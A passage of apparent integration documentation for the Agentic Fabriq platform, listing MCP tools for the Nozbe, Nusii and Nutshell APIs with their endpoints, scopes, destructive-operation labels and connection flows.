read_user_info. notion_query_database (read) — Query a Notion database with optional filters and sorts. Returns matching pages/rows. POST /api/v1/tools/notion/databases/{database_id}/query. Scopes: read_content. notion_search (read) — Search Notion workspace for pages and databases matching a query. POST /api/v1/tools/notion/search. Scopes: read_content. notion_update_page (write, destructive) — Update properties of an existing Notion page. PATCH /api/v1/tools/notion/pages/{page_id}. Scopes: update_content. ================================================================================ ## Nozbe URL: https://www.agenticfabriq.com/integrations/nozbe Section: Integrated Tools Nozbe — 76 MCP tools Provider key: nozbe. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. nozbe_delete_comments_by_comment_id_attachments_by_file_id (write, destructive) — Delete an attachment via DELETE /comments/{comment_id}/attachments/{file_id} DELETE /api/v1/nozbe/comments/{comment_id}/attachments/{file_id}. Scopes: api. nozbe_delete_comments_by_id (write, destructive) — Delete a comment via DELETE /comments/{id} DELETE /api/v1/nozbe/comments/{id}. Scopes: api. nozbe_delete_group_assignments_by_id (write, destructive) — Delete a group assignment via DELETE /group_assignments/{id} DELETE /api/v1/nozbe/group_assignments/{id}. Scopes: api. nozbe_delete_project_accesses_by_id (write, destructive) — Delete a project access via DELETE /project_accesses/{id} DELETE /api/v1/nozbe/project_accesses/{id}. Scopes: api. nozbe_delete_project_sections_by_id (write, destructive) — Delete a project section via DELETE /project_sections/{id} DELETE /api/v1/nozbe/project_sections/{id}. Scopes: api. nozbe_delete_projects_by_id (write, destructive) — Delete a project via DELETE /projects/{id} DELETE /api/v1/nozbe/projects/{id}. Scopes: api. nozbe_delete_reminders_by_id (write, destructive) — Delete a reminder via DELETE /reminders/{id} DELETE /api/v1/nozbe/reminders/{id}. Scopes: api. nozbe_delete_tag_assignments_by_id (write, destructive) — Delete a tag assignment via DELETE /tag_assignments/{id} DELETE /api/v1/nozbe/tag_assignments/{id}. Scopes: api. nozbe_delete_task_recurrences_by_id (write, destructive) — Delete a task recurrence via DELETE /task_recurrences/{id} DELETE /api/v1/nozbe/task_recurrences/{id}. Scopes: api. nozbe_delete_tasks_by_id (write, destructive) — Delete a task via DELETE /tasks/{id} DELETE /api/v1/nozbe/tasks/{id}. Scopes: api. nozbe_delete_team_members_by_id (write, destructive) — Delete a team member via DELETE /team_members/{id} DELETE /api/v1/nozbe/team_members/{id}. Scopes: api. nozbe_get_business_members (read) — Get accessible business members via GET /business_members. Filter results by adding params, e.g. ?role=admin GET /api/v1/nozbe/business_members. Scopes: api. nozbe_get_business_members_by_id (read) — Get business member by ID via GET /business_members/{id} GET /api/v1/nozbe/business_members/{id}. Scopes: api. nozbe_get_businesses (read) — Get accessible businesses via GET /businesses. Filter results by adding params, e.g. ?name=MyBusiness GET /api/v1/nozbe/businesses. Scopes: api. nozbe_get_businesses_by_id (read) — Get business by ID via GET /businesses/{id} GET /api/v1/nozbe/businesses/{id}. Scopes: api. nozbe_get_comments (read) — Get accessible comments via GET /comments. Filter results by adding params, e.g. ?task_id=abc&is_pinned=True GET /api/v1/nozbe/comments. Scopes: api. nozbe_get_comments_by_comment_id_attachments (read) — Get attachments related with comment via GET /comments/{comment_id}/attachments GET /api/v1/nozbe/comments/{comment_id}/attachments. Scopes: api. nozbe_get_comments_by_comment_id_attachments_by_file_id (read) — Get attachment metadata by its ID via GET /comments/{comment_id}/attachments/{file_id} GET /api/v1/nozbe/comments/{comment_id}/attachments/{file_id}. Scopes: api. nozbe_get_comments_by_id (read) — Get comment by ID via GET /comments/{id} GET /api/v1/nozbe/comments/{id}. Scopes: api. nozbe_get_group_assignments (read) — Get accessible group assignments via GET /group_assignments. Filter results by adding params, e.g. ?group_id=abc GET /api/v1/nozbe/group_assignments. Scopes: api. nozbe_get_group_assignments_by_id (read) — Get group assignment by ID via GET /group_assignments/{id} GET /api/v1/nozbe/group_assignments/{id}. Scopes: api. nozbe_get_poll_tasks_new (read) — Get new tasks since last call via GET /poll/tasks/new GET /api/v1/nozbe/poll/tasks/new. Scopes: api. nozbe_get_poll_tasks_updated (read) — Get updated tasks since last call via GET /poll/tasks/updated GET /api/v1/nozbe/poll/tasks/updated. Scopes: api. nozbe_get_project_accesses (read) — Get accessible projects accesses via GET /project_accesses. Filter results by adding params, e.g. ?project_id=abc&is_manager=True GET /api/v1/nozbe/project_accesses. Scopes: api. nozbe_get_project_accesses_by_id (read) — Get project access by ID via GET /project_accesses/{id} GET /api/v1/nozbe/project_accesses/{id}. Scopes: api. nozbe_get_project_groups (read) — Get accessible project_groups via GET /project_groups. Filter results by adding params, e.g. ?is_favorite=true GET /api/v1/nozbe/project_groups. Scopes: api. nozbe_get_project_groups_by_id (read) — Get project_group by ID via GET /project_groups/{id} GET /api/v1/nozbe/project_groups/{id}. Scopes: api. nozbe_get_project_sections (read) — Get accessible projects sections via GET /project_sections. Filter results by adding params, e.g. ?project_id=abc GET /api/v1/nozbe/project_sections. Scopes: api. nozbe_get_project_sections_by_id (read) — Get project section by ID via GET /project_sections/{id} GET /api/v1/nozbe/project_sections/{id}. Scopes: api. nozbe_get_projects (read) — Get accessible projects via GET /projects. Filter results by adding params, e.g. ?team_id=abc&is_open=True GET /api/v1/nozbe/projects. Scopes: api. nozbe_get_projects_by_id (read) — Get project by ID via GET /projects/{id} GET /api/v1/nozbe/projects/{id}. Scopes: api. nozbe_get_reminders (read) — Get accessible reminders via GET /reminders. Filter results by adding params, e.g. ?task_id=abc&is_all_day=True GET /api/v1/nozbe/reminders. Scopes: api. nozbe_get_reminders_by_id (read) — Get reminder by ID via GET /reminders/{id} GET /api/v1/nozbe/reminders/{id}. Scopes: api. nozbe_get_tag_assignments (read) — Get accessible tag assignments via GET /tag_assignments. Filter results by adding params, e.g. ?tag_id=abc GET /api/v1/nozbe/tag_assignments. Scopes: api. nozbe_get_tag_assignments_by_id (read) — Get tag assignment by ID via GET /tag_assignments/{id} GET /api/v1/nozbe/tag_assignments/{id}. Scopes: api. nozbe_get_tags (read) — Get accessible tags via GET /tags. Filter results by adding params, e.g. ?is_favorite=true GET /api/v1/nozbe/tags. Scopes: api. nozbe_get_tags_by_id (read) — Get tag by ID via GET /tags/{id} GET /api/v1/nozbe/tags/{id}. Scopes: api. nozbe_get_task_events (read) — Get accessible task events via GET /task_events. Filter results by adding params, e.g. ?task_id=abc GET /api/v1/nozbe/task_events. Scopes: api. nozbe_get_task_events_by_id (read) — Get task event by ID via GET /task_events/{id} GET /api/v1/nozbe/task_events/{id}. Scopes: api. nozbe_get_task_recurrences (read) — Get accessible task recurrences via GET /task_recurrences. Filter results by adding params, e.g. ?project_id=abc GET /api/v1/nozbe/task_recurrences. Scopes: api. nozbe_get_task_recurrences_by_id (read) — Get task recurrence by ID via GET /task_recurrences/{id} GET /api/v1/nozbe/task_recurrences/{id}. Scopes: api. nozbe_get_tasks (read) — Get accessible tasks via GET /tasks. Filter results by adding params, e.g. ?project_id=abc&review_reason=delegated GET /api/v1/nozbe/tasks. Scopes: api. nozbe_get_tasks_by_id (read) — Get task by ID via GET /tasks/{id} GET /api/v1/nozbe/tasks/{id}. Scopes: api. nozbe_get_team_members (read) — Get accessible team members via GET /team_members. Filter results by adding params, e.g. ?role=admin&status=active GET /api/v1/nozbe/team_members. Scopes: api. nozbe_get_team_members_by_id (read) — Get team member by ID via GET /team_members/{id} GET /api/v1/nozbe/team_members/{id}. Scopes: api. nozbe_get_teams (read) — Get accessible teams via GET /teams. Filter results by adding params, e.g. ?name=MyTeam GET /api/v1/nozbe/teams. Scopes: api. nozbe_get_teams_by_id (read) — Get team by ID via GET /teams/{id} GET /api/v1/nozbe/teams/{id}. Scopes: api. nozbe_get_users (read) — Get accessible users via GET /users. Filter results by adding params, e.g. ?name=John GET /api/v1/nozbe/users. Scopes: api. nozbe_get_users_by_id (read) — Get user by ID via GET /users/{id} GET /api/v1/nozbe/users/{id}. Scopes: api. nozbe_post_comments (write) — Add a comment via POST /comments POST /api/v1/nozbe/comments. Scopes: api. nozbe_post_comments_by_comment_id_attachments (write) — Add an attachment metadata via POST /comments/{comment_id}/attachments POST /api/v1/nozbe/comments/{comment_id}/attachments. Scopes: api. nozbe_post_group_assignments (write) — Add a group assignment via POST /group_assignments POST /api/v1/nozbe/group_assignments. Scopes: api. nozbe_post_project_accesses (write) — Add a project access via POST /project_accesses POST /api/v1/nozbe/project_accesses. Scopes: api. nozbe_post_project_groups (write) — Add a project_group via POST /project_groups POST /api/v1/nozbe/project_groups. Scopes: api. nozbe_post_project_sections (write) — Add a project section via POST /project_sections POST /api/v1/nozbe/project_sections. Scopes: api. nozbe_post_projects (write) — Add a project via POST /projects POST /api/v1/nozbe/projects. Scopes: api. nozbe_post_projects_from_template_by_id (write) — Add a project from template via POST /projects/from_template/{id} POST /api/v1/nozbe/projects/from_template/{id}. Scopes: api. nozbe_post_reminders (write) — Add a reminder via POST /reminders POST /api/v1/nozbe/reminders. Scopes: api. nozbe_post_tag_assignments (write) — Add a tag assignment via POST /tag_assignments POST /api/v1/nozbe/tag_assignments. Scopes: api. nozbe_post_tags (write) — Add a tag via POST /tags POST /api/v1/nozbe/tags. Scopes: api. nozbe_post_task_recurrences (write) — Add a task recurrence via POST /task_recurrences POST /api/v1/nozbe/task_recurrences. Scopes: api. nozbe_post_tasks (write) — Add a task via POST /tasks POST /api/v1/nozbe/tasks. Scopes: api. nozbe_post_team_members (write) — Add a team member via POST /team_members POST /api/v1/nozbe/team_members. Scopes: api. nozbe_post_users (write) — Add a user via POST /users POST /api/v1/nozbe/users. Scopes: api. nozbe_put_business_members_by_id (write) — Update a business member via PUT /business_members/{id} PUT /api/v1/nozbe/business_members/{id}. Scopes: api. nozbe_put_comments_by_id (write) — Update a comment via PUT /comments/{id} PUT /api/v1/nozbe/comments/{id}. Scopes: api. nozbe_put_project_accesses_by_id (write) — Update a project access via PUT /project_accesses/{id} PUT /api/v1/nozbe/project_accesses/{id}. Scopes: api. nozbe_put_project_groups_by_id (write) — Update a project_group via PUT /project_groups/{id} PUT /api/v1/nozbe/project_groups/{id}. Scopes: api. nozbe_put_project_sections_by_id (write) — Update a project section via PUT /project_sections/{id} PUT /api/v1/nozbe/project_sections/{id}. Scopes: api. nozbe_put_projects_by_id (write) — Update a project via PUT /projects/{id} PUT /api/v1/nozbe/projects/{id}. Scopes: api. nozbe_put_tags_by_id (write) — Update a tag via PUT /tags/{id} PUT /api/v1/nozbe/tags/{id}. Scopes: api. nozbe_put_task_recurrences_by_id (write) — Update task recurrence via PUT /task_recurrences/{id} PUT /api/v1/nozbe/task_recurrences/{id}. Scopes: api. nozbe_put_tasks_by_id (write) — Update a task via PUT /tasks/{id} PUT /api/v1/nozbe/tasks/{id}. Scopes: api. nozbe_put_team_members_by_id (write) — Update a team member via PUT /team_members/{id} PUT /api/v1/nozbe/team_members/{id}. Scopes: api. nozbe_put_teams_by_id (write) — Update a team via PUT /teams/{id} PUT /api/v1/nozbe/teams/{id}. Scopes: api. nozbe_put_users_by_id (write) — Update a user via PUT /users/{id} PUT /api/v1/nozbe/users/{id}. Scopes: api. ================================================================================ ## Nusii URL: https://www.agenticfabriq.com/integrations/nusii Section: Integrated Tools Nusii — 43 MCP tools Provider key: nusii. Scopes: read, write. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. nusii_delete_api_v2_clients_by_id (write, destructive) — Delete client. DELETE /api/v2/clients/{id}. IRREVERSIBLE: this deletes the named record in the Nusii account. DELETE /api/v1/nusii/api/v2/clients/{id}. Scopes: read, write. nusii_delete_api_v2_line_items_by_id (write, destructive) — Delete line item. DELETE /api/v2/line_items/{id}. IRREVERSIBLE: this deletes the named record in the Nusii account. DELETE /api/v1/nusii/api/v2/line_items/{id}. Scopes: read, write. nusii_delete_api_v2_proposals_by_id (write, destructive) — Delete proposal. DELETE /api/v2/proposals/{id}. IRREVERSIBLE: this deletes the named record in the Nusii account. DELETE /api/v1/nusii/api/v2/proposals/{id}. Scopes: read, write. nusii_delete_api_v2_proposals_by_proposal_id_taxations_by_id (write, destructive) — Delete proposal taxation. DELETE /api/v2/proposals/{proposal_id}/taxations/{id}. IRREVERSIBLE: this deletes the named record in the Nusii account. DELETE /api/v1/nusii/api/v2/proposals/{proposal_id}/taxations/{id}. Scopes: read, write. nusii_delete_api_v2_sections_by_id (write, destructive) — Delete section. DELETE /api/v2/sections/{id}. IRREVERSIBLE: this deletes the named record in the Nusii account. DELETE /api/v1/nusii/api/v2/sections/{id}. Scopes: read, write. nusii_delete_api_v2_webhook_endpoints_by_id (write, destructive) — Delete webhook endpoint. DELETE /api/v2/webhook_endpoints/{id}. IRREVERSIBLE: this deletes the named record in the Nusii account. DELETE /api/v1/nusii/api/v2/webhook_endpoints/{id}. Scopes: read, write. nusii_get_api_v2_account_me (read) — Get account. GET /api/v2/account/me. GET /api/v1/nusii/api/v2/account/me. Scopes: read. nusii_get_api_v2_clients (read) — List clients. GET /api/v2/clients. `query` matches clients by free text and `query[nested]` searches nested attributes; `email` matches one address and `emails` a list. GET /api/v1/nusii/api/v2/clients. Scopes: read. nusii_get_api_v2_clients_by_id (read) — Get client. GET /api/v2/clients/{id}. GET /api/v1/nusii/api/v2/clients/{id}. Scopes: read. nusii_get_api_v2_currencies (read) — List currencies. GET /api/v2/currencies. GET /api/v1/nusii/api/v2/currencies. Scopes: read. nusii_get_api_v2_line_items_by_id (read) — Get line item. GET /api/v2/line_items/{id}. GET /api/v1/nusii/api/v2/line_items/{id}. Scopes: read. nusii_get_api_v2_locales (read) — List locales. GET /api/v2/locales. GET /api/v1/nusii/api/v2/locales. Scopes: read. nusii_get_api_v2_pdf_page_sizes (read) — List PDF page sizes. GET /api/v2/pdf_page_sizes. GET /api/v1/nusii/api/v2/pdf_page_sizes. Scopes: read. nusii_get_api_v2_proposal_activities (read) — List proposal activities. GET /api/v2/proposal_activities. GET /api/v1/nusii/api/v2/proposal_activities. Scopes: read. nusii_get_api_v2_proposal_activities_by_id (read) — Get proposal activity. GET /api/v2/proposal_activities/{id}. GET /api/v1/nusii/api/v2/proposal_activities/{id}. Scopes: read. nusii_get_api_v2_proposals (read) — List proposals. GET /api/v2/proposals. Paginated. Nusii accepts the page number as either `page` or `page[number]` and the page size as either `per` or `per[size]`; send one spelling of each. GET /api/v1/nusii/api/v2/proposals. Scopes: read. nusii_get_api_v2_proposals_by_id (read) — Get proposal. GET /api/v2/proposals/{id}. GET /api/v1/nusii/api/v2/proposals/{id}. Scopes: read. nusii_get_api_v2_proposals_by_proposal_id_taxations (read) — List proposal taxations. GET /api/v2/proposals/{proposal_id}/taxations. GET /api/v1/nusii/api/v2/proposals/{proposal_id}/taxations. Scopes: read. nusii_get_api_v2_sections (read) — List sections. GET /api/v2/sections. GET /api/v1/nusii/api/v2/sections. Scopes: read. nusii_get_api_v2_sections_by_id (read) — Get section. GET /api/v2/sections/{id}. GET /api/v1/nusii/api/v2/sections/{id}. Scopes: read. nusii_get_api_v2_sections_by_section_id_line_items (read) — List section line items. GET /api/v2/sections/{section_id}/line_items. GET /api/v1/nusii/api/v2/sections/{section_id}/line_items. Scopes: read. nusii_get_api_v2_templates (read) — List templates. GET /api/v2/templates. GET /api/v1/nusii/api/v2/templates. Scopes: read. nusii_get_api_v2_templates_by_id (read) — Get template. GET /api/v2/templates/{id}. GET /api/v1/nusii/api/v2/templates/{id}. Scopes: read. nusii_get_api_v2_themes (read) — List themes. GET /api/v2/themes. GET /api/v1/nusii/api/v2/themes. Scopes: read. nusii_get_api_v2_users (read) — List users. GET /api/v2/users. GET /api/v1/nusii/api/v2/users. Scopes: read. nusii_get_api_v2_webhook_endpoints (read) — List webhook endpoints. GET /api/v2/webhook_endpoints. GET /api/v1/nusii/api/v2/webhook_endpoints. Scopes: read. nusii_get_api_v2_webhook_endpoints_by_id (read) — Get webhook endpoint. GET /api/v2/webhook_endpoints/{id}. GET /api/v1/nusii/api/v2/webhook_endpoints/{id}. Scopes: read. nusii_post_api_v2_clients (write) — Create client. POST /api/v2/clients. Body requires: `client.name`, `client.email`. POST /api/v1/nusii/api/v2/clients. Scopes: read, write. nusii_post_api_v2_integrations_less_annoying_crm_installations (write) — Create Less Annoying CRM installation. POST /api/v2/integrations/less_annoying_crm_installations. Body requires: `less_annoying_crm_installation.name`, `less_annoying_crm_installation.token`, `less_annoying_crm_installation.user_code`. REGISTERS A THIRD-PARTY CREDENTIAL: the body's `token` is the caller's Less Annoying CRM API token, stored by Nusii, not by Agentic Fabriq. Do not call this with a value you were not explicitly given for this purpose. POST /api/v1/nusii/api/v2/integrations/less_annoying_crm_installations. Scopes: read, write. nusii_post_api_v2_integrations_one_page_crm_installations (write) — Create OnePageCRM installation. POST /api/v2/integrations/one_page_crm_installations. Body requires: `one_page_crm_installation.name`, `one_page_crm_installation.api_key`, `one_page_crm_installation.api_secret`. REGISTERS A THIRD-PARTY CREDENTIAL: the body's `api_key` and `api_secret` are the caller's OnePageCRM credentials, stored by Nusii, not by Agentic Fabriq. Do not call this with values you were not explicitly given for this purpose. POST /api/v1/nusii/api/v2/integrations/one_page_crm_installations. Scopes: read, write. nusii_post_api_v2_proposals (write) — Create proposal. POST /api/v2/proposals. Body requires: `proposal`. POST /api/v1/nusii/api/v2/proposals. Scopes: read, write. nusii_post_api_v2_proposals_by_proposal_id_taxations (write) — Create proposal taxation. POST /api/v2/proposals/{proposal_id}/taxations. Body requires: `percentage`, `name`. POST /api/v1/nusii/api/v2/proposals/{proposal_id}/taxations. Scopes: read, write. nusii_post_api_v2_sections (write) — Create section. POST /api/v2/sections. POST /api/v1/nusii/api/v2/sections. Scopes: read, write. nusii_post_api_v2_sections_by_section_id_line_items (write) — Create section line item. POST /api/v2/sections/{section_id}/line_items. Body requires: `line_item.name`. POST /api/v1/nusii/api/v2/sections/{section_id}/line_items. Scopes: read, write. nusii_post_api_v2_webhook_endpoints (write) — Create webhook endpoint. POST /api/v2/webhook_endpoints. Body requires: `webhook_endpoint.target_url`, `webhook_endpoint.events`. POST /api/v1/nusii/api/v2/webhook_endpoints. Scopes: read, write. nusii_put_api_v2_clients_by_id (write) — Update client. PUT /api/v2/clients/{id}. Body requires: `client.name`. PUT /api/v1/nusii/api/v2/clients/{id}. Scopes: read, write. nusii_put_api_v2_line_items_by_id (write) — Update line item. PUT /api/v2/line_items/{id}. Body requires: `line_item`. PUT /api/v1/nusii/api/v2/line_items/{id}. Scopes: read, write. nusii_put_api_v2_proposals_by_id (write) — Update proposal. PUT /api/v2/proposals/{id}. Body requires: `proposal.title`. PUT /api/v1/nusii/api/v2/proposals/{id}. Scopes: read, write. nusii_put_api_v2_proposals_by_id_archive (write) — Archive proposal. PUT /api/v2/proposals/{id}/archive. Archives the proposal. The sealed contract declares an empty request body, so no field is required. PUT /api/v1/nusii/api/v2/proposals/{id}/archive. Scopes: read, write. nusii_put_api_v2_proposals_by_id_send_proposal (write) — Send proposal. PUT /api/v2/proposals/{id}/send_proposal. Body requires: `sender_email`, `subject`, `message`, `recipients`. SENDS REAL EMAIL to the recipients named in the body. The sealed contract declares two bodies for this operation and this tool ships the JSON one, which carries a `recipients` array of {name, email, eligible_to_sign} in place of the form variant's single `email`; `sender_email`, `subject`, `message` and `recipients` are all required. PUT /api/v1/nusii/api/v2/proposals/{id}/send_proposal. Scopes: read, write. nusii_put_api_v2_proposals_by_proposal_id_taxations_by_id (write) — Update proposal taxation. PUT /api/v2/proposals/{proposal_id}/taxations/{id}. Body requires: `percentage`, `name`. PUT /api/v1/nusii/api/v2/proposals/{proposal_id}/taxations/{id}. Scopes: read, write. nusii_put_api_v2_sections_by_id (write) — Update section. PUT /api/v2/sections/{id}. Body requires: `section.title`. PUT /api/v1/nusii/api/v2/sections/{id}. Scopes: read, write. nusii_put_api_v2_sections_by_section_id_line_items_by_id (write) — Update section line item. PUT /api/v2/sections/{section_id}/line_items/{id}. Body requires: `line_item.name`. PUT /api/v1/nusii/api/v2/sections/{section_id}/line_items/{id}. Scopes: read, write. ================================================================================ ## Nutshell URL: https://www.agenticfabriq.com/integrations/nutshell Section: Integrated Tools Nutshell — 114 MCP tools Provider key: nutshell. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. nutshell_delete_accounts_by_id (write, destructive) — Delete an account by ID. Deleted accounts are removed from the companies tab, and can be restored from the trash within 30 days of deletion via the undelete endpoint. via DELETE /accounts/{id} DELETE /api/v1/nutshell/accounts/{id}. Scopes: api. nutshell_delete_competitormaps_by_id (write, destructive) — Delete a lead-competitor relationship via DELETE /competitormaps/{id} DELETE /api/v1/nutshell/competitormaps/{id}. Scopes: api. nutshell_delete_contacts_by_id (write, destructive) — Deletes a contact from Nutshell. Can be recovered by posting to /contacts/{id}/undelete via DELETE /contacts/{id} DELETE /api/v1/nutshell/contacts/{id}. Scopes: api. nutshell_delete_leads_by_id (write, destructive) — Delete a lead by the ID provided. Can be restored with the undelete endpoint. via DELETE /leads/{id} DELETE /api/v1/nutshell/leads/{id}. Scopes: api. nutshell_delete_notes_by_id (write, destructive) — Delete a note by the ID provided. Can be restored with the undelete endpoint. via DELETE /notes/{id} DELETE /api/v1/nutshell/notes/{id}. Scopes: api. nutshell_delete_productmaps_by_id (write, destructive) — Delete a product on a lead via DELETE /productMaps/{id} DELETE /api/v1/nutshell/productMaps/{id}. Scopes: api. nutshell_delete_products_by_id (write, destructive) — Delete a product via DELETE /products/{id} DELETE /api/v1/nutshell/products/{id}. Scopes: api. nutshell_delete_sources_by_id (write, destructive) — Delete a source by ID. Deleted sources are removed from the sources tab, and can be restored from the trash within 30 days of deletion via the undelete endpoint. via DELETE /sources/{id} DELETE /api/v1/nutshell/sources/{id}. Scopes: api. nutshell_delete_tags_by_id (write, destructive) — Delete a tag by id. Deleted tags are removed from the list of tags, and can be restored from the trash within 30 days of deletion via the undelete endpoint. via DELETE /tags/{id} DELETE /api/v1/nutshell/tags/{id}. Scopes: api. nutshell_delete_tasks_by_id (write, destructive) — Delete a task by the ID provided. via DELETE /tasks/{id} DELETE /api/v1/nutshell/tasks/{id}. Scopes: api. nutshell_get_accounts (read) — Get all accounts and associated data in your Nutshell instance. Accounts are companies or organizations that you do business with, and are referred to as 'Companies' in the Nutshell UI. via GET /accounts GET /api/v1/nutshell/accounts. Scopes: api. nutshell_get_accounts_by_id (read) — Get an account by ID. Accounts are companies or organizations that you do business with, and are referred to as 'Companies' in the Nutshell UI. The returned arrays creators, owners, origins, contacts, accountTypes, and industries contain additional information corresponding to the requested accounts. via GET /accounts/{id} GET /api/v1/nutshell/accounts/{id}. Scopes: api. nutshell_get_accounts_by_id_customfields (read) — Get a list of custom field values for an account by ID. Custom fields are user-defined fields that can be added to accounts. via GET /accounts/{id}/customfields GET /api/v1/nutshell/accounts/{id}/customfields. Scopes: api. nutshell_get_accounts_customfields_attributes (read) — Get a list of all account custom fields in your Nutshell instance. Custom fields are user-defined fields that can be added to accounts. via GET /accounts/customfields/attributes GET /api/v1/nutshell/accounts/customfields/attributes. Scopes: api. nutshell_get_accounts_list (read) — Get a list of all accounts and associated data in your Nutshell Instance, in a list item format. List items have additional fields attached to them for filtering purposes. via GET /accounts/list GET /api/v1/nutshell/accounts/list. Scopes: api. nutshell_get_accounts_list_fields (read) — Get the list of fields that can possibly be associated with accounts, along with whether they are valid for filtering sorting. via GET /accounts/list/fields GET /api/v1/nutshell/accounts/list/fields. Scopes: api. nutshell_get_accounttypes (read) — Get a list of all account types in a Nutshell instance. via GET /accounttypes GET /api/v1/nutshell/accounttypes. Scopes: api. nutshell_get_activities (read) — Get activities via GET /activities GET /api/v1/nutshell/activities. Scopes: api. nutshell_get_activities_by_id (read) — Get an activity via GET /activities/{id} GET /api/v1/nutshell/activities/{id}. Scopes: api. nutshell_get_activitytypes (read) — Get activity types via GET /activitytypes GET /api/v1/nutshell/activitytypes. Scopes: api. nutshell_get_audiences (read) — Returns a list of all email marketing audiences in a Nutshell instance. via GET /audiences GET /api/v1/nutshell/audiences. Scopes: api. nutshell_get_competitormaps (read) — Get a list of lead-competitor relationships via GET /competitormaps GET /api/v1/nutshell/competitormaps. Scopes: api. nutshell_get_competitormaps_by_id (read) — Get a lead-competitor relationship via GET /competitormaps/{id} GET /api/v1/nutshell/competitormaps/{id}. Scopes: api. nutshell_get_competitors (read) — Get a list of competitors via GET /competitors GET /api/v1/nutshell/competitors. Scopes: api. nutshell_get_competitors_by_id (read) — Get a competitor via GET /competitors/{id} GET /api/v1/nutshell/competitors/{id}. Scopes: api. nutshell_get_contacts (read) — Returns a number of contacts which is filterable based on their basic information. via GET /contacts GET /api/v1/nutshell/contacts. Scopes: api. nutshell_get_contacts_by_id (read) — Returns a single contact based on the provided ID. via GET /contacts/{id} GET /api/v1/nutshell/contacts/{id}. Scopes: api. nutshell_get_contacts_by_id_customfields (read) — Returns a list of custom fields for a contact. via GET /contacts/{id}/customfields GET /api/v1/nutshell/contacts/{id}/customfields. Scopes: api. nutshell_get_contacts_customfields_attributes (read) — Get a list of all custom fields that can be applied to any contact. via GET /contacts/customfields/attributes GET /api/v1/nutshell/contacts/customfields/attributes. Scopes: api. nutshell_get_contacts_list (read) — Get a list of all contacts and associated data in your Nutshell Instance, in a list item format. List items have additional fields attached to them for filtering purposes. Contacts are people that you do business with, and are referred to as 'People' in the Nutshell UI. via GET /contacts/list GET /api/v1/nutshell/contacts/list. Scopes: api. nutshell_get_contacts_list_fields (read) — Get the list of fields that can possibly be associated with contacts, along with whether they are valid for filtering sorting. via GET /contacts/list/fields GET /api/v1/nutshell/contacts/list/fields. Scopes: api. nutshell_get_dashboards_list_fields (read) — Returns the JSON Schema used to configure dashboard cards and filters. The pipeline options at properties.stageset.enum are limited to pipelines available to the authenticated user. via GET /dashboards/list/fields GET /api/v1/nutshell/dashboards/list/fields. Scopes: api. nutshell_get_editions (read) — Get a list of editions via GET /editions GET /api/v1/nutshell/editions. Scopes: api. nutshell_get_editions_by_id (read) — Get a single edition by its ID via GET /editions/{id} GET /api/v1/nutshell/editions/{id}. Scopes: api. nutshell_get_emails_by_id (read) — Get an email via GET /emails/{id} GET /api/v1/nutshell/emails/{id}. Scopes: api. nutshell_get_events (read) — Retrieve a feed of events. Events, also known as change logs, are a record of everything that happened in Nutshell. They're used to power notifications and timelines among other things. via GET /events GET /api/v1/nutshell/events. Scopes: api. nutshell_get_events_deleted (read) — Retrieve a feed of every time an entity was deleted. via GET /events/deleted GET /api/v1/nutshell/events/deleted. Scopes: api. nutshell_get_filters (read) — Get saved filters via GET /filters GET /api/v1/nutshell/filters. Scopes: api. nutshell_get_forms (read) — Get all non-archived nutshell forms along with the IDs of the fields used in each form. via GET /forms GET /api/v1/nutshell/forms. Scopes: api. nutshell_get_forms_by_fieldid (read) — Get a single form field by the ID provided. via GET /forms/{fieldId} GET /api/v1/nutshell/form-fields/{fieldId}. Scopes: api. nutshell_get_forms_by_id (read) — Get a single form by the ID provided. The fields used in the form are also returned in the response. via GET /forms/{id} GET /api/v1/nutshell/forms/{id}. Scopes: api. nutshell_get_industries (read) — Retreives the list of valid industries to describe companies as belonging to. via GET /industries GET /api/v1/nutshell/industries. Scopes: api. nutshell_get_industries_by_id (read) — Get a single industry by its ID via GET /industries/{id} GET /api/v1/nutshell/industries/{id}. Scopes: api. nutshell_get_invoices (read) — Get a list of invoices via GET /invoices GET /api/v1/nutshell/invoices. Scopes: api. nutshell_get_invoices_by_id (read) — Get a single invoice by the ID provided. via GET /invoices/{id} GET /api/v1/nutshell/invoices/{id}. Scopes: api. nutshell_get_leads (read) — Get a list of all leads and associated data in your Nutshell Instance. via GET /leads GET /api/v1/nutshell/leads. Scopes: api. nutshell_get_leads_by_id (read) — Get a single lead by the ID provided. via GET /leads/{id} GET /api/v1/nutshell/leads/{id}. Scopes: api. nutshell_get_leads_by_id_customfields (read) — Get user-created custom fields applied to a lead. System-managed attribution identifiers are excluded and are available through the lead's attributionTracking property. via GET /leads/{id}/customfields GET /api/v1/nutshell/leads/{id}/customfields. Scopes: api. nutshell_get_leads_by_id_installments (read) — Returns the installment schedule for a lead. Requires lead installments on the account plan. via GET /leads/{id}/installments GET /api/v1/nutshell/leads/{id}/installments. Scopes: api. nutshell_get_leads_by_id_stages (read) — Get all stages associated with a lead by the ID provided, including information like amount of time spent in each stage. via GET /leads/{id}/stages GET /api/v1/nutshell/leads/{id}/stages. Scopes: api. nutshell_get_leads_customfields_attributes (read) — Get user-created custom fields that can be applied to leads. System-managed attribution identifiers are excluded and are available through the lead's attributionTracking property. via GET 